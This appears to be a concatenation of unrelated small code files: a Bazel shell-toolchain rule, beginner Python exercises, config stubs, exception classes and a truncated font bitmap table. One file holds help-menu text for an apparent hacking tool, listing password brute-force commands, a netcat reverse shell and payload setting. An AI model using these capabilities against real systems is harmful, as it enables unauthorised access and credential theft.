sh_path = repository_ctx.which("bash.exe")
if sh_path:
# repository_ctx.which returns a path object, convert that to
# string so we can call string.startswith on it.
sh_path = str(sh_path)
# When the Windows Subsystem for Linux is installed there's a
# bash.exe under %WINDIR%\system32\bash.exe that launches Ubuntu
# Bash which cannot run native Windows programs so it's not what
# we want.
windir = repository_ctx.os.environ.get("WINDIR")
if windir and sh_path.startswith(windir):
sh_path = None
if sh_path != None:
sh_dir = str(repository_ctx.path(sh_path).dirname)
return sh_dir
def _sh_posix_config_impl(repository_ctx):
cpu = get_cpu_value(repository_ctx)
env = repository_ctx.os.environ
windows_sh_dir = None
if cpu == "x64_windows":
windows_sh_dir = _windows_detect_sh_dir(repository_ctx)
commands = {}
for cmd in _commands:
cmd_path = env.get("POSIX_%s" % cmd.upper(), None)
if cmd_path == None and cpu != "x64_windows":
cmd_path = repository_ctx.which(cmd)
elif cmd_path == None and cpu == "x64_windows":
# Autodetection using `repository_ctx.which` is not safe on
# Windows, as it may turn up false friends. E.g. Windows has a
# `find.exe` which is unrelated to POSIX `find`. Instead we use
# tools next to `bash.exe`.
cmd_path = repository_ctx.path(windows_sh_dir + "/" + cmd + ".exe")
if not cmd_path.exists:
cmd_path = None
commands[cmd] = cmd_path
repository_ctx.file("BUILD.bazel", executable = False, content = """
load("@rules_sh//sh:posix.bzl", "sh_posix_toolchain")
sh_posix_toolchain(
name = "local_posix",
visibility = ["//visibility:public"],
cmds = {{
{commands}
}}
)
toolchain(
name = "local_posix_toolchain",
toolchain = ":local_posix",
toolchain_type = "{toolchain_type}",
exec_compatible_with = [
"@platforms//cpu:x86_64",
"@platforms//os:{os}",
],
)
""".format(
commands = ",\n ".join([
'"{cmd}": "{path}"'.format(cmd = cmd, path = cmd_path)
for (cmd, cmd_path) in commands.items()
if cmd_path
]),
os = {
"darwin": "osx",
"x64_windows": "windows",
}.get(cpu, "linux"),
toolchain_type = TOOLCHAIN_TYPE,
))
_sh_posix_config = repository_rule(
configure = True,
environ = ["PATH"] + [
"POSIX_%s" % cmd.upper()
for cmd in _commands
],
local = True,
implementation = _sh_posix_config_impl,
)
def sh_posix_configure(name = "local_posix_config"):
"""Autodetect local Unix commands.
Scans the environment (`$PATH`) for standard shell commands, generates a
corresponding POSIX toolchain and registers the toolchain.
You can override the autodetection for individual commands by setting
environment variables of the form `POSIX_<COMMAND>`. E.g.
`POSIX_MAKE=/usr/bin/gmake` will override the make command.
"""
_sh_posix_config(name = name)
native.register_toolchains("@{}//:local_posix_toolchain".format(name))
posix = struct(
commands = _commands,
TOOLCHAIN_TYPE = TOOLCHAIN_TYPE,
MAKE_VARIABLES = MAKE_VARIABLES,
)
|
#import GreenMindLib
msg_menu = '''
Use: sudo ./green -u http://businesscorp.com.br -o teste.txt \n\n
Green Recon
=============
Command Description
------- -----------
greenrecon Start recon OSINT
recon Suite recon OSINT
google_search Recon google search
shodan_search Recon shodan search
hostname Recon IP using URL
whois Search whois
traceroute Recon traceroute
check_robots Check Robots.txt
archive_search Search archive history
check_cms Check CMS
sharingmyip Check using http://sharingmyip.com
Use:
greenrecon http://businesscorp.com.br teste.txt
recon google_search https://greenmindlabs.com
recon shodan_search 37.59.174.225
recon hostname http://businesscorp.com.br
recon whois 37.59.174.225
recon traceroute http://businesscorp.com.br
recon check_robots http://businesscorp.com.br
recon archive_search http://businesscorp.com.br
recon check_cms https://greenmindlabs.com
recon sharingmyip https://greenmindlabs.com
Core Commands
=============
Command Description
------- -----------
? Help menu
exit Exit the console
help Help menu
version Show the version numbers
Green Cripto
=============
Command Description
------- -----------
cripto
reverse Reverse string
encrypt_base64 Encrypt Base64
decrypt_base64 Decrypt Base64
encrypt_md5 Encrypt MD5
encrypt_sha1 Encrypt SHA1
encrypt_sha256 Encrypt SHA256
encrypt_sha512 Encrypt SHA512
Use:
cripto reverse "54321"
cripto encrypt_base64 teste
cripto decrypt_base64 dGVzdGU=
cripto encrypt_md5 teste
cripto encrypt_sha1 teste
cripto encrypt_sha256 teste
cripto encrypt_sha512 teste
System Backend Commands
============================
Command Description
------- -----------
help Menu help
exit Green exit program
'''
msg_menu2 = '''
Green Basic Commands
=============
Command Description
------- -----------
greenrecon Start recon
Core Commands
=============
Command Description
------- -----------
? Help menu
exit Exit the console
help Help menu
version Show the version numbers
Brute Force Commands
========================
Command Description
------- -----------
bruteforce_linux Brute force attack on a Linux password
bruteforce_windows_nt Brute force attack on Windows NT
bruteforce_windows_lm Brute force attack on Windows LM
Green Cripto
=============
Command Description
------- -----------
cripto
reverse Reverse string
encrypt_base64 Encrypt Base64
decrypt_base64 Decrypt Base64
encrypt_md5 Encrypt MD5
encrypt_sha1 Encrypt SHA1
encrypt_sha256 Encrypt SHA256
encrypt_sha512 Encrypt SHA512
Use:
cripto reverse "54321"
System Backend Commands
============================
Command Description
------- -----------
reverse_shell Reverse shell using netcat
pwd Current directory
ls List dir
help Menu help
exit Green exit program
'''
msg_cripto='''
Green Cripto
=============
Command Description
------- -----------
cripto
reverse Reverse string
encrypt_base64 Encrypt Base64
decrypt_base64 Decrypt Base64
encrypt_md5 Encrypt MD5
encrypt_sha1 Encrypt SHA1
encrypt_sha256 Encrypt SHA256
encrypt_sha512 Encrypt SHA512
Use:
cripto reverse "54321"
'''
msg_set='''
Green Set
=============
Command Description
------- -----------
set
payload Insert payload
Use: set payload "web"
'''
|
# Faça um programa que leia um número inteiro
# e diga se ele é ou não um número primo.
num = int(input('Digite um valor: '))
flag = 0
for i in range(2, num):
if num % i == 0:
flag = 1
break
if flag == 0:
print(f'{num} é primo!')
else:
print(f'{num} é composto!') |
"""yolk.
Author: Rob Cakebread <cakebread at gmail>
License : BSD
"""
__version__ = '0.9.5'
|
_base_ = [
'../../_base_/default_runtime.py',
'../../_base_/schedules/schedule_sgd_1200e.py',
'../../_base_/det_models/dbnet_r18_fpnc.py',
'../../_base_/det_datasets/icdar2015.py',
'../../_base_/det_pipelines/dbnet_pipeline.py'
]
train_list = {{_base_.train_list}}
test_list = {{_base_.test_list}}
train_pipeline_r18 = {{_base_.train_pipeline_r18}}
test_pipeline_1333_736 = {{_base_.test_pipeline_1333_736}}
data = dict(
samples_per_gpu=16,
workers_per_gpu=8,
val_dataloader=dict(samples_per_gpu=1),
test_dataloader=dict(samples_per_gpu=1),
train=dict(
type='UniformConcatDataset',
datasets=train_list,
pipeline=train_pipeline_r18),
val=dict(
type='UniformConcatDataset',
datasets=test_list,
pipeline=test_pipeline_1333_736),
test=dict(
type='UniformConcatDataset',
datasets=test_list,
pipeline=test_pipeline_1333_736))
evaluation = dict(interval=100, metric='hmean-iou')
|
class MoveNotFound(Exception):
pass
class CharacterNotFound(Exception):
pass
class OptionError(Exception):
pass
class LimitError(Exception):
pass
class CharacterMainError(Exception):
pass
class CharacterSubError(Exception):
pass
class CommandNotFound(Exception):
pass
class CommandAlreadyExisting(Exception):
pass
class ChannelAlreadyAdded(Exception):
pass
class ChannelNonExistent(Exception):
pass
class GuildNotSetError(Exception):
pass
class PrefixError(Exception):
pass
class LinkNotFound(Exception):
pass
class DatabaseInitError(Exception):
pass
class TableNameError(Exception):
pass
class ColumnNameError(Exception):
pass
class MoveNameError(Exception):
pass
class CharacterNameError(Exception):
pass
class NotInitializedError(Exception):
pass
class ChannelNotSetError(Exception):
pass
|
with open('pessoa.csv') as arquivo:
with open('pessoas.txt', 'w') as saida:
for registro in arquivo:
registro = registro.strip().split(',')
print(f'Nome:{registro[0]}, Idade: {registro[1]} anos', file=saida) |
class PrettyException(Exception):
"Semantic errors in prettyqr."
pass
class ImageNotSquareException(PrettyException):
pass
class BaseImageSmallerThanQRCodeException(PrettyException):
pass
|
#
# Author:
# Date:
# Description:
#
# Constants used to refer to the parts of the quiz question
CATEGORY = 0
VALUE = 1
QUESTION = 2
ANSWER = 3
#
# Read lines of text from a specified file and create a list of those lines
# with each line added as a separate String item in the list
#
# Parameter
# inputFile - A String with the name of a text file to convert to a Lit
#
# Return
# A List containing each line from the text file
def getListFromFile (inputFile):
outputList = []
try:
source = open(inputFile,"r")
outputList = source.readlines()
source.close()
except FileNotFoundError:
print("Unable to open input file: " + inputFile)
return outputList
#
# Splits a String containing all question information, then
# returns the specified part of the question
#
#
# Parameters
# question - String containing comma separated quiz question details
# whichInfo - constant representing which part of the question to return
# should be one of CATEGORY, VALUE, QUESTION, ANSWER
# Return
# String containing the specified part of the question
def getInfo(question, whichInfo):
# paste your getInfo implementation here
return ""
#####################################
## Main
#####################################
# Read the CSV file and get a list of contents
# Create a new list in which to store the categories
# Iterate through the file contents to get each category
# If the category isn't in the category list already, add the category to the category list
# HINT: to check if something IS in a list, you use -- if elem in myList:
# to check if something IS NOT in a list you use -- if elem not in myList:
# Use a for loop to print all the categories
|
def C_to_F(temp):
temp = temp*9/5+32
return temp
def F_to_C(temp):
temp = (temp-32)*5.0/9.0
return temp
sel = input('\nCelsius and Fahrenheit Convert\n\n'+
'(A) Fatrenheit to Celsius\n'+
'(B) Celsius to Fatrenheit\n'+
'(C) Exit\n\n'+
'Please input...> ')
while sel != 'C':
temp = int(input('Please input temperature...> '))
if sel == 'A':
temp = F_to_C(temp)
else:
temp = C_to_F(temp)
print('temperature is converted into',temp)
sel = input('\nCelsius and Fahrenheit Convert\n\n'+
'(A) Fatrenheit to Celsius\n'+
'(B) Celsius to Fatrenheit\n'+
'(C) Exit\n\n'+
'Please input...> ')
|
# first line: 1
@memory.cache
def vsigmomEdw_NR(Erecoil_keV, aH):
return [sigmomEdw(x,band='NR',label='GGA3',F=0.000001,V=4.0,aH=aH,alpha=(1/18.0)) for x in Erecoil_keV]
|
# Copyright 2020 The XLS Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Generates a fuzz issue regression suite."""
def _to_suffix(path):
basename = path.split("/")[-1]
if not basename.endswith(".x"):
fail()
basename = basename[:-len(".x")]
if basename.startswith("crasher_"):
basename = basename[len("crasher_"):]
return basename
def generate_crasher_regression_tests(name, srcs, prefix, failing = None, tags = None):
"""Generates targets for fuzz-found issues.
Also generates a manual suite called ":regression_tests" that will include
known-failing targets.
Args:
name: Name to use for the resulting test_suite.
srcs: Testdata files (DSLX) to run regressions for.
prefix: Prefix directory path for the testdata files.
failing: Optional list of failing testdata paths (must be a string
match with a member in srcs).
tags: Optional mapping of testdata paths to additional tags (must
be a string match with a member in srcs).
"""
names = []
tags = tags or {}
for f in srcs:
if not f.endswith(".x"):
fail()
test_name = "run_crasher_test_{}".format(_to_suffix(f))
names.append(test_name)
fullpath = prefix + "/" + f
native.sh_test(
name = test_name,
srcs = ["//xls/dslx/fuzzer:run_crasher_sh"],
args = [fullpath],
data = [
"//xls/dslx/fuzzer:run_crasher",
f,
],
tags = tags.get(f, []),
)
native.test_suite(
name = name,
tests = names,
tags = ["manual"],
)
|
for i in range(101):
if i % 15 == 0:
print("Fizzbuzz")
elif i % 3 == 0:
print("Fizz")
elif i % 5 == 0:
print("Buzz")
else:
print(i)
|
RESOURCE = "https://graph.microsoft.com" # Add the resource you want the access token for
TENANT = "Your tenant" # Enter tenant name, e.g. contoso.onmicrosoft.com
AUTHORITY_HOST_URL = "https://login.microsoftonline.com"
CLIENT_ID = "Your client id " # copy the Application ID of your app from your Azure portal
CLIENT_SECRET = "Your client secret" # copy the value of key you generated when setting up the application
# These settings are for the Microsoft Graph API Call
API_VERSION = 'v1.0'
|
# Hiztegi bat deklaratu ta aldagaiak jarri, erabiltzaileak sartu ditzan
hizt = {}
EI = input("Sartu zure erabiltzaile izena:\n")
hizt['Erabiltzaile_izena'] = EI
PH = input("Sartu zure pasahitza:\n")
hizt['Pasahitza'] = PH
# Aldagai hoiek gorde ta bukle batekin bere datuak sartzea, ondo sartu arte (input = hiztegian sartutako datua)
print("\n\nERREGISTRO LEIHOA\n")
input("Sartu zure erabiltzaile izena:\n")
if input == EI:
print("Ondo, orain sartu pasahitza.")
else:
print("Gaizki.") |
#!/usr/bin/env python3
x, y = map(int, input().strip().split())
while x != 0 and y != 0:
att = list(map(int, input().strip().split()))
att.sort()
dff = list(map(int, input().strip().split()))
dff.sort()
if(att[0] < dff[1]):
print("Y")
else:
print("N")
x, y = map(int, input().strip().split())
|
FreeSansBold9pt7bBitmaps = [
0xFF, 0xFF, 0xFE, 0x48, 0x7E, 0xEF, 0xDF, 0xBF, 0x74, 0x40, 0x19, 0x86,
0x67, 0xFD, 0xFF, 0x33, 0x0C, 0xC3, 0x33, 0xFE, 0xFF, 0x99, 0x86, 0x61,
0x90, 0x10, 0x1F, 0x1F, 0xDE, 0xFF, 0x3F, 0x83, 0xC0, 0xFC, 0x1F, 0x09,
0xFC, 0xFE, 0xF7, 0xF1, 0xE0, 0x40, 0x38, 0x10, 0x7C, 0x30, 0xC6, 0x20,
0xC6, 0x40, 0xC6, 0x40, 0x7C, 0x80, 0x39, 0x9C, 0x01, 0x3E, 0x03, 0x63,
0x02, 0x63, 0x04, 0x63, 0x0C, 0x3E, 0x08, 0x1C, 0x0E, 0x01, 0xF8, 0x3B,
0x83, 0xB8, 0x3F, 0x01, 0xE0, 0x3E, 0x67, 0x76, 0xE3, 0xEE, 0x1C, 0xF3,
0xC7, 0xFE, 0x3F, 0x70, 0xFF, 0xF4, 0x18, 0x63, 0x1C, 0x73, 0x8E, 0x38,
0xE3, 0x8E, 0x18, 0x70, 0xC3, 0x06, 0x08, 0x61, 0x83, 0x0E, 0x38, 0x71,
0xC7, 0x1C, 0x71, 0xC6, 0x38, 0xE3, 0x18, 0x40, 0x21, 0x3E, 0x45, 0x28,
0x38, 0x70, 0xE7, 0xFF, 0xE7, 0x0E, 0x1C, 0xFC, 0x9C, 0xFF, 0xC0, 0xFC,
0x08, 0xC4, 0x23, 0x10, 0x84, 0x62, 0x11, 0x88, 0x00, 0x3E, 0x3F, 0x9D,
0xDC, 0x7E, 0x3F, 0x1F, 0x8F, 0xC7, 0xE3, 0xF1, 0xDD, 0xCF, 0xE3, 0xE0,
0x08, 0xFF, 0xF3, 0x9C, 0xE7, 0x39, 0xCE, 0x73, 0x80, 0x3E, 0x3F, 0xB8,
0xFC, 0x70, 0x38, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0F, 0xF7, 0xF8,
0x3C, 0x7F, 0xE7, 0xE7, 0x07, 0x0C, 0x0E, 0x07, 0x07, 0xE7, 0xE7, 0x7E,
0x3C, 0x0E, 0x1E, 0x1E, 0x2E, 0x2E, 0x4E, 0x4E, 0x8E, 0xFF, 0xFF, 0x0E,
0x0E, 0x0E, 0x7F, 0x3F, 0x90, 0x18, 0x0D, 0xE7, 0xFB, 0x9E, 0x07, 0x03,
0x81, 0xF1, 0xFF, 0xE7, 0xC0, 0x3E, 0x3F, 0x9C, 0xFC, 0x0E, 0xE7, 0xFB,
0xDF, 0xC7, 0xE3, 0xF1, 0xDD, 0xEF, 0xE3, 0xE0, 0xFF, 0xFF, 0xC0, 0xE0,
0xE0, 0x60, 0x70, 0x30, 0x38, 0x1C, 0x0C, 0x0E, 0x07, 0x03, 0x80, 0x3F,
0x1F, 0xEE, 0x3F, 0x87, 0xE3, 0xCF, 0xC7, 0xFB, 0xCF, 0xE1, 0xF8, 0x7F,
0x3D, 0xFE, 0x3F, 0x00, 0x3E, 0x3F, 0xBD, 0xDC, 0x7E, 0x3F, 0x1F, 0xDE,
0xFF, 0x3B, 0x81, 0xF9, 0xCF, 0xE3, 0xC0, 0xFC, 0x00, 0x07, 0xE0, 0xFC,
0x00, 0x07, 0xE5, 0xE0, 0x00, 0x83, 0xC7, 0xDF, 0x0C, 0x07, 0x80, 0xF8,
0x1F, 0x01, 0x80, 0xFF, 0xFF, 0xC0, 0x00, 0x0F, 0xFF, 0xFC, 0x00, 0x70,
0x3F, 0x03, 0xE0, 0x38, 0x7D, 0xF1, 0xE0, 0x80, 0x00, 0x3E, 0x3F, 0xB8,
0xFC, 0x70, 0x38, 0x1C, 0x1C, 0x1C, 0x1C, 0x0E, 0x00, 0x03, 0x81, 0xC0,
0x03, 0xF0, 0x0F, 0xFC, 0x1E, 0x0E, 0x38, 0x02, 0x70, 0xE9, 0x63, 0x19,
0xC2, 0x19, 0xC6, 0x11, 0xC6, 0x33, 0xC6, 0x32, 0x63, 0xFE, 0x73, 0xDC,
0x3C, 0x00, 0x1F, 0xF8, 0x07, 0xF0, 0x07, 0x00, 0xF0, 0x0F, 0x80, 0xF8,
0x1D, 0x81, 0x9C, 0x19, 0xC3, 0x8C, 0x3F, 0xE7, 0xFE, 0x70, 0x66, 0x07,
0xE0, 0x70, 0xFF, 0x9F, 0xFB, 0x83, 0xF0, 0x7E, 0x0F, 0xFF, 0x3F, 0xF7,
0x06, 0xE0, 0xFC, 0x1F, 0x83, 0xFF, 0xEF, 0xF8, 0x1F, 0x83, 0xFE, 0x78,
0xE7, 0x07, 0xE0, 0x0E, 0x00, 0xE0, 0x0E, 0x00, 0xE0, 0x07, 0x07, 0x78,
0xF3, 0xFE, 0x1F, 0x80, 0xFF, 0x8F, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0x7E,
0x07, 0xE0, 0x7E, 0x07, 0xE0, 0x7E, 0x0E, 0xE0, 0xEF, 0xFC, 0xFF, 0x80,
0xFF, 0xFF, 0xF8, 0x1C, 0x0E, 0x07, 0xFB, 0xFD, 0xC0, 0xE0, 0x70, 0x38,
0x1F, 0xFF, 0xF8, 0xFF, 0xFF, 0xF8, 0x1C, 0x0E, 0x07, 0xFB, 0xFD, 0xC0,
0xE0, 0x70, 0x38, 0x1C, 0x0E, 0x00, 0x0F, 0x87, 0xF9, 0xE3, 0xB8, 0x3E,
0x01, 0xC0, 0x38, 0xFF, 0x1F, 0xE0, 0x6E, 0x0D, 0xE3, 0x9F, 0xD0, 0xF2,
0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xFF, 0xFF, 0xFF, 0x07, 0xE0,
0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x07,
0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0xE7, 0xE7, 0xE7, 0x7E, 0x3C,
0xE0, 0xEE, 0x1C, 0xE3, 0x8E, 0x70, 0xEE, 0x0F, 0xC0, 0xFE, 0x0F, 0x70,
0xE7, 0x0E, 0x38, 0xE1, 0xCE, 0x0E, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xFF, 0xFF, 0xF8, 0x7F, 0xE1,
0xFF, 0x87, 0xFE, 0x1F, 0xEC, 0x7F, 0xB3, 0x7E, 0xCD, 0xFB, 0x37, 0xEC,
0xDF, 0x9E, 0x7E, 0x79, 0xF9, 0xE7, 0xE7, 0x9C, 0xE0, 0xFE, 0x1F, 0xC3,
0xFC, 0x7F, 0xCF, 0xD9, 0xFB, 0xBF, 0x37, 0xE7, 0xFC, 0x7F, 0x87, 0xF0,
0xFE, 0x0E, 0x0F, 0x81, 0xFF, 0x1E, 0x3C, 0xE0, 0xEE, 0x03, 0xF0, 0x1F,
0x80, 0xFC, 0x07, 0xE0, 0x3B, 0x83, 0x9E, 0x3C, 0x7F, 0xC0, 0xF8, 0x00,
0xFF, 0x9F, 0xFB, 0x87, 0xF0, 0x7E, 0x0F, 0xC3, 0xFF, 0xF7, 0xFC, 0xE0,
0x1C, 0x03, 0x80, 0x70, 0x0E, 0x00, 0x0F, 0x81, 0xFF, 0x1E, 0x3C, 0xE0,
0xEE, 0x03, 0xF0, 0x1F, 0x80, 0xFC, 0x07, 0xE1, 0xBB, 0x8F, 0x9E, 0x3C,
0x7F, 0xE0, 0xFB, 0x80, 0x08, 0xFF, 0x8F, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0,
0xEE, 0x0E, 0xFF, 0xCF, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0xEE, 0x0E, 0xE0,
0xF0, 0x3F, 0x0F, 0xFB, 0xC7, 0xF0, 0x7E, 0x01, 0xFC, 0x1F, 0xF0, 0x3F,
0x00, 0xFC, 0x1D, 0xC7, 0xBF, 0xE1, 0xF8, 0xFF, 0xFF, 0xC7, 0x03, 0x81,
0xC0, 0xE0, 0x70, 0x38, 0x1C, 0x0E, 0x07, 0x03, 0x81, 0xC0, 0xE0, 0xFC,
0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xC1, 0xF8, 0x3F, 0x07, 0xE0, 0xFC, 0x1F,
0xC7, 0xBF, 0xE1, 0xF0, 0x60, 0x67, 0x0E, 0x70, 0xE3, 0x0C, 0x30, 0xC3,
0x9C, 0x19, 0x81, 0x98, 0x1F, 0x80, 0xF0, 0x0F, 0x00, 0xF0, 0x06, 0x00,
0x61, 0xC3, 0xB8, 0xE1, 0x9C, 0x70, 0xCE, 0x3C, 0xE3, 0x36, 0x71, 0x9B,
0x30, 0xED, 0x98, 0x36, 0x7C, 0x1B, 0x3C, 0x0F, 0x1E, 0x07, 0x8F, 0x01,
0xC3, 0x80, 0xE1, 0x80, 0x70, 0xE7, 0x8E, 0x39, 0xC1, 0xF8, 0x1F, 0x80,
0xF0, 0x07, 0x00, 0xF0, 0x1F, 0x81, 0x9C, 0x39, 0xC7, 0x0E, 0x70, 0xE0,
0xE0, 0xFC, 0x39, 0xC7, 0x18, 0xC3, 0xB8, 0x36, 0x07, 0xC0, 0x70, 0x0E,
0x01, 0xC0, 0x38, 0x07, 0x00, 0xE0, 0xFF, 0xFF, 0xC0, 0xE0, 0xE0, 0xF0,
0x70, 0x70, 0x70, 0x78, 0x38, 0x38, 0x1F, 0xFF, 0xF8, 0xFF, 0xEE, 0xEE,
0xEE, 0xEE, 0xEE, 0xEE, 0xEF, 0xF0, 0x86, 0x10, 0x86, 0x10, 0x84, 0x30,
0x84, 0x30, 0x80, 0xFF, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x7F, 0xF0,
0x18, 0x1C, 0x3C, 0x3E, 0x36, 0x66, 0x63, 0xC3, 0xFF, 0xC0, 0xCC, 0x3F,
0x1F, 0xEE, 0x38, 0x0E, 0x3F, 0x9E, 0xEE, 0x3B, 0x9E, 0xFF, 0x9E, 0xE0,
0xE0, 0x38, 0x0E, 0x03, 0xBC, 0xFF, 0xBC, 0xEE, 0x1F, 0x87, 0xE1, 0xF8,
0x7F, 0x3B, 0xFE, 0xEF, 0x00, 0x1F, 0x3F, 0xDC, 0x7C, 0x0E, 0x07, 0x03,
0x80, 0xE3, 0x7F, 0x8F, 0x00, 0x03, 0x81, 0xC0, 0xE7, 0x77, 0xFB, 0xBF,
0x8F, 0xC7, 0xE3, 0xF1, 0xFD, 0xEF, 0xF3, 0xB8, 0x3E, 0x3F, 0x9C, 0xDC,
0x3F, 0xFF, 0xFF, 0x81, 0xC3, 0x7F, 0x8F, 0x00, 0x3B, 0xDD, 0xFF, 0xB9,
0xCE, 0x73, 0x9C, 0xE7, 0x00, 0x3B, 0xBF, 0xDD, 0xFC, 0x7E, 0x3F, 0x1F,
0x8F, 0xEF, 0x7F, 0x9D, 0xC0, 0xFC, 0x77, 0xF1, 0xF0, 0xE0, 0x70, 0x38,
0x1D, 0xEF, 0xFF, 0x9F, 0x8F, 0xC7, 0xE3, 0xF1, 0xF8, 0xFC, 0x7E, 0x38,
0xFC, 0x7F, 0xFF, 0xFF, 0xFE, 0x77, 0x07, 0x77, 0x77, 0x77, 0x77, 0x77,
0x7F, 0xE0, 0xE0, 0x70, 0x38, 0x1C, 0x7E, 0x77, 0x73, 0xF1, 0xF8, 0xFE,
0x77, 0x39, 0xDC, 0x6E, 0x38, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xEF, 0x7B,
0xFF, 0xFE, 0x39, 0xF8, 0xE7, 0xE3, 0x9F, 0x8E, 0x7E, 0x39, 0xF8, 0xE7,
0xE3, 0x9F, 0x8E, 0x70, 0xEF, 0x7F, 0xF8, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F,
0xC7, 0xE3, 0xF1, 0xC0, 0x1E, 0x1F, 0xE7, 0x3B, 0x87, 0xE1, 0xF8, 0x7E,
0x1D, 0xCE, 0x7F, 0x87, 0x80, 0xEF, 0x3F, 0xEF, 0x3B, 0x87, 0xE1, 0xF8,
0x7E, 0x1F, 0xCE, 0xFF, 0xBB, 0xCE, 0x03, 0x80, 0xE0, 0x38, 0x00, 0x3B,
0xBF, 0xFD, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F, 0xEF, 0x7F, 0x9D, 0xC0, 0xE0,
0x70, 0x38, 0x1C, 0xEF, 0xFF, 0x38, 0xE3, 0x8E, 0x38, 0xE3, 0x80, 0x3E,
0x3F, 0xB8, 0xFC, 0x0F, 0xC3, 0xFC, 0x3F, 0xC7, 0xFF, 0x1F, 0x00, 0x73,
0xBF, 0xF7, 0x39, 0xCE, 0x73, 0x9E, 0x70, 0xE3, 0xF1, 0xF8, 0xFC, 0x7E,
0x3F, 0x1F, 0x8F, 0xC7, 0xFF, 0xBD, 0xC0, 0xE1, 0x98, 0x67, 0x39, 0xCC,
0x33, 0x0D, 0xC3, 0xE0, 0x78, 0x1E, 0x07, 0x00, 0xE3, 0x1D, 0x9E, 0x66,
0x79, 0x99, 0xE6, 0x77, 0xB8, 0xD2, 0xC3, 0xCF, 0x0F, 0x3C, 0x3C, 0xF0,
0x73, 0x80, 0x73, 0x9C, 0xE3, 0xF0, 0x78, 0x1E, 0x07, 0x81, 0xE0, 0xFC,
0x73, 0x9C, 0xE0, 0xE1, 0xD8, 0x67, 0x39, 0xCE, 0x33, 0x0E, 0xC3, 0xE0,
0x78, 0x1E, 0x03, 0x00, 0xC0, 0x70, 0x38, 0x0E, 0x00, 0xFE, 0xFE, 0x0E,
0x1C, 0x38, 0x38, 0x70, 0xE0, 0xFF, 0xFF, 0x37, 0x66, 0x66, 0x6E, 0xE6,
0x66, 0x66, 0x67, 0x30, 0xFF, 0xFF, 0x80, 0xCE, 0x66, 0x66, 0x67, 0x76,
0x66, 0x66, 0x6E, 0xC0, 0x71, 0x8E ]
FreeSansBold9pt7bGlyphs = [
[ 0, 0, 0, 5, 0, 1 ], # 0x20 ' '
[ 0, 3, 13, 6, 2, -12 ], # 0x21 '!'
[ 5, 7, 5, 9, 1, -12 ], # 0x22 '"'
[ 10, 10, 12, 10, 0, -11 ], # 0x23 '#'
[ 25, 9, 15, 10, 1, -13 ], # 0x24 '$'
[ 42, 16, 13, 16, 0, -12 ], # 0x25 '%'
[ 68, 12, 13, 13, 1, -12 ], # 0x26 '&'
[ 88, 3, 5, 5, 1, -12 ], # 0x27 '''
[ 90, 6, 17, 6, 1, -12 ], # 0x28 '('
[ 103, 6, 17, 6, 0, -12 ], # 0x29 ')'
[ 116, 5, 6, 7, 1, -12 ], # 0x2A '#'
[ 120, 7, 8, 11, 2, -7 ], # 0x2B '+'
[ 127, 3, 5, 4, 1, -1 ], # 0x2C ','
[ 129, 5, 2, 6, 0, -5 ], # 0x2D '-'
[ 131, 3, 2, 4, 1, -1 ], # 0x2E '.'
[ 132, 5, 13, 5, 0, -12 ], # 0x2F '/'
[ 141, 9, 13, 10, 1, -12 ], # 0x30 '0'
[ 156, 5, 13, 10, 2, -12 ], # 0x31 '1'
[ 165, 9, 13, 10, 1, -12 ], # 0x32 '2'
[ 180, 8, 13, 10, 1, -12 ], # 0x33 '3'
[ 193, 8, 13, 10, 2, -12 ], # 0x34 '4'
[ 206, 9, 13, 10, 1, -12 ], # 0x35 '5'
[ 221, 9, 13, 10, 1, -12 ], # 0x36 '6'
[ 236, 9, 13, 10, 0, -12 ], # 0x37 '7'
[ 251, 10, 13, 10, 0, -12 ], # 0x38 '8'
[ 268, 9, 13, 10, 1, -12 ], # 0x39 '9'
[ 283, 3, 9, 4, 1, -8 ], # 0x3A ':'
[ 287, 3, 12, 4, 1, -8 ], # 0x3B ''
[ 292, 9, 9, 11, 1, -8 ], # 0x3C '<'
[ 303, 9, 6, 11, 1, -6 ], # 0x3D '='
[ 310, 9, 9, 11, 1, -8 ], # 0x3E '>'
[ 321, 9, 13, 11, 1, -12 ], # 0x3F '?'
[ 336, 16, 15, 18, 0, -12 ], # 0x40 '@'
[ 366, 12, 13, 13, 0, -12 ], # 0x41 'A'
[ 386, 11, 13, 13, 1, -12 ], # 0x42 'B'
[ 404, 12, 13, 13, 1, -12 ], # 0x43 'C'
[ 424, 12, 13, 13, 1, -12 ], # 0x44 'D'
[ 444, 9, 13, 12, 1, -12 ], # 0x45 'E'
[ 459, 9, 13, 11, 1, -12 ], # 0x46 'F'
[ 474, 11, 13, 14, 1, -12 ], # 0x47 'G'
[ 492, 11, 13, 13, 1, -12 ], # 0x48 'H'
[ 510, 3, 13, 6, 1, -12 ], # 0x49 'I'
[ 515, 8, 13, 10, 1, -12 ], # 0x4A 'J'
[ 528, 12, 13, 13, 1, -12 ], # 0x4B 'K'
[ 548, 8, 13, 11, 1, -12 ], # 0x4C 'L'
[ 561, 14, 13, 16, 1, -12 ], # 0x4D 'M'
[ 584, 11, 13, 14, 1, -12 ], # 0x4E 'N'
[ 602, 13, 13, 14, 1, -12 ], # 0x4F 'O'
[ 624, 11, 13, 12, 1, -12 ], # 0x50 'P'
[ 642, 13, 14, 14, 1, -12 ], # 0x51 'Q'
[ 665, 12, 13, 13, 1, -12 ], # 0x52 'R'
